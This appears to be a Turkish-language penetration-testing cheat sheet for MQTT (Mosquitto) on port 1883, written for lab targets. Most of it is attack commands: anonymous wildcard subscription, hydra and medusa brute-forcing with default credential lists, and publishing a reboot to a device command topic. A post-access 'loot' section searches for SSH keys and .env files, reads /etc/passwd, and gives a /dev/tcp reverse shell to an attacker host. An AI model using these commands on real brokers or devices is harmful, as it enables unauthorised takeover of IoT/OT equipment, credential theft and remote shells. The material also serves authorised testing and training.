1883 - Pentesting MQTT (Mosquitto)
MQTT iot
MQTT pub/sub bus’tur. Anonim subscribe tüm topic’leri dinler; writable command topic cihaz ele geçirir. Hedef lab IP’si üzerinde komutları 1883 portuna göre uyarla; her başarıyı ayrı kanıtla.
Metodoloji
Section titled “Metodoloji”-
1883/8883 doğrula.
-
Anonim connect/subscribe.
-
Topic brute ve mesaj kaydı.
-
Komut topic’lerine publish.
nmap -Pn -sV -p1883,8883 TARGETnmap -Pn -p1883,8883 --script mqtt-subscribe TARGETmosquitto_sub -h TARGET -t '#' -vnmap -p1883 --script mqtt-subscribe TARGETmosquitto_sub -h TARGET -u admin -P public -t '#' -vhydra -L users.txt -P pass.txt mqtt://TARGETadmin/admin, device/device, (boş)/(boş)mosquitto_pub -h TARGET -t 'device/cmd' -m 'reboot'mosquitto_sub -h TARGET -t '\$SYS/#' -vcredentials in topics; OT/IoT command channelsDerin enum
Section titled “Derin enum”MQTT (Mosquitto) için ek keşif ve fingerprint.
nmap -Pn -sV -sC -p1883 TARGETnmap -Pn -p1883 --script safe,discovery TARGETtimeout 5 bash -c 'echo | openssl s_client -connect TARGET:1883' 2>/dev/null | headpython3 -c "import socket;s=socket.create_connection(('TARGET',1883));s.settimeout(3);print(s.recv(4096))"Banner / TLS / ALPN notları → MQTT (Mosquitto)Kimlik & brute (ek)
Section titled “Kimlik & brute (ek)”hydra -L users.txt -P rockyou.txt -s 1883 PROTOCOL://TARGET -t 4medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 1883nmap -p1883 --script '*-brute' TARGETadmin/admin, root/root, guest/(boş), test/testExploit arama
Section titled “Exploit arama”searchsploit MQTTmsfconsole -q -x 'search MQTT; exit'nuclei -u https://TARGET:1883 -t cves/ -silent -severity || truenuclei -u http://TARGET:1883 -tags tech -silent || trueManuel protokol
Section titled “Manuel protokol”nc -nv TARGET 1883printf '' | timeout 3 nc -nv TARGET 1883curl -vk --http1.0 http://TARGET:1883/Wireshark/tcpdump ile konuşmayı kaydet; replay denePost-erişim & loot
Section titled “Post-erişim & loot”config, key, session, env, backupfind / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | headss -lntp; ip a; cat /etc/passwd | headbash -i >& /dev/tcp/ATTACKER/443 0>&1mkdir -p loot && tee loot/notes.txtOperasyon checklist
Section titled “Operasyon checklist”[ ] Fingerprint / sürüm[ ] Auth ve anonim erişim[ ] PoC etki gösterildi[ ] Credential/shell paketlendi[ ] Pivot notuZincir
Section titled “Zincir”anon sub # → secrets → pub command topic → device control